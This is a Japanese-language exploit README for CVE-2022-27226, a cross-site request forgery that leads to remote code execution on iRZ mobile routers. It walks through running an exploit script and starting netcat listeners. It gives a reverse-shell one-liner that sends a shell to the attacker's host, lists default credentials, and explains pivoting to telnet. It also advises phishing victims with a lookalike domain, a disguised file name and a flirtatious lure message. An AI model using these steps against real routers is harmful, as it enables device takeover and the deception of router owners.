
CVE-2022-27226 のエクスプロイト
CVE-2022-27226 のエクスプロイト
iRZ モバイルルーターにおけるクロスサイトリクエストフォージェリからリモートコード実行への攻撃
<--脆弱性の発見-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--エクスプロイト開発-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
iRZ モバイルルーターにおける CSRF の問題により、2022年3月16日までのバージョンで、脅威アクターがルーター管理パネルに crontab エントリを作成できるようになります。その cronjob は定義された間隔でエントリを実行し、リモートコード実行に至り、脅威アクターはファイルシステムへのアクセスを得ることができます。さらに、ルーターのデフォルト認証情報が変更されていない場合、または脅威アクターが有効な認証情報を発見した場合、ユーザーの操作なしでリモートコード実行が達成される可能性があります。
シェルをキャッチする前に2つの netcat リスナーを起動することが重要です。これは、crontab が実行されると同じ cronjob を複数回繰り返し、次のサイクルでシェルが死んでしまうためです。busybox 環境はかなり制限されているため nohup を使用できません。代替として、異なる crontab エントリ間隔でエクスプロイトを変更することもできますが、crontab 間隔を気にせずにこれを回避する最善の方法は、最初のリバースシェルキャッチのために複数のリスナーを使用することです。
多くの場合、ルーターは外部に telnet ポートを公開していないことがわかりました。しかし、リモートコード実行を達成すると、telnet を使用して TTY をほぼ修正できます。そのためには認証情報が必要です。もし CSRF から RCE への完全なチェーンを利用する場合は、ユーザーのログインイベントや、スクリプトで変換される Basic 認証ヘッダーを含む可能性のあるヘッダーを記録する、より包括的な CSRF PoC テンプレートを構築することをお勧めします。
これらのルーターのデフォルト認証情報は通常 root:root または admin:admin です。認証情報がある場合は、実行してください:
python cve.py
指示に従ってください。非常にシンプルです。次に、2つの別々のポートで2つの netcat リスナーを起動します。
nc -lvp 443
nc -lvp 5000
最初のリスナーでリバースシェルをキャッチしたら、リバースシェルのワンライナーを再実行して永続的なシェルを取得します:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
最後に、認証情報がある場合(このモジュールのこの部分を使用しているなら認証情報があるはずです)、内部で制限された telnet サービスにピボットしてみてください:
telnet 0.0.0.0
「でも telnet が外部に公開されていたら?」その場合は、認証情報を使ってルーターにログインしろよ、バカ。
このモジュールの手順は Post Auth RCE の手順とほぼ同じです。大きな違いは、認証情報がないことです。
まず第一に、効率的に悪用するには、これがどのように機能するかを理解する必要があります。CSRF はユーザーの操作を必要とするため、誰かをソーシャルエンジニアリングする必要があります。2つの可能性のあるシナリオがあります: ユーザーが PoC ボタンをクリックしたときにログインしている場合、またはユーザーがログインしていない場合です。ユーザーが既にルーターに認証されている場合、cronjob を作成する POST リクエストが API に送信され、ユーザーは空白のページを見ることになります。ログインしていない場合、ユーザーは Basic 認証プロンプトを受け取ります。そして便利なことに、Basic 認証ポップアップには被害ルーターの IP が表示され、認証情報を入力すると POST リクエストが API に送信されます。
被害ルーターがサブドメインでホストされている場合は類似のドメインを購入するか、優先度の高いターゲットの場合は同じサブネット範囲のサーバープロバイダーを見つけることをお勧めします。優先ターゲットの場合は CSRF PoC を洗練させる価値があるかもしれません。
スクリプトを実行
python cve.py
指示に従ってください。スクリプト内で、あなたのために csrf テンプレートが生成されます。もう少し目立たない名前を付けることをお勧めします。
mv poc.new.html index.html
PoC を自分のサーバーでホストしてください。できれば被害ルーターと同じポートで。
python3 -m http.server 80
リンクを取得し、被害者に送信してください。URL の末尾に PoC ファイル名を追加することを忘れずに:
ねえ、ダーリン、ルーターにログインしてくれない?:
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html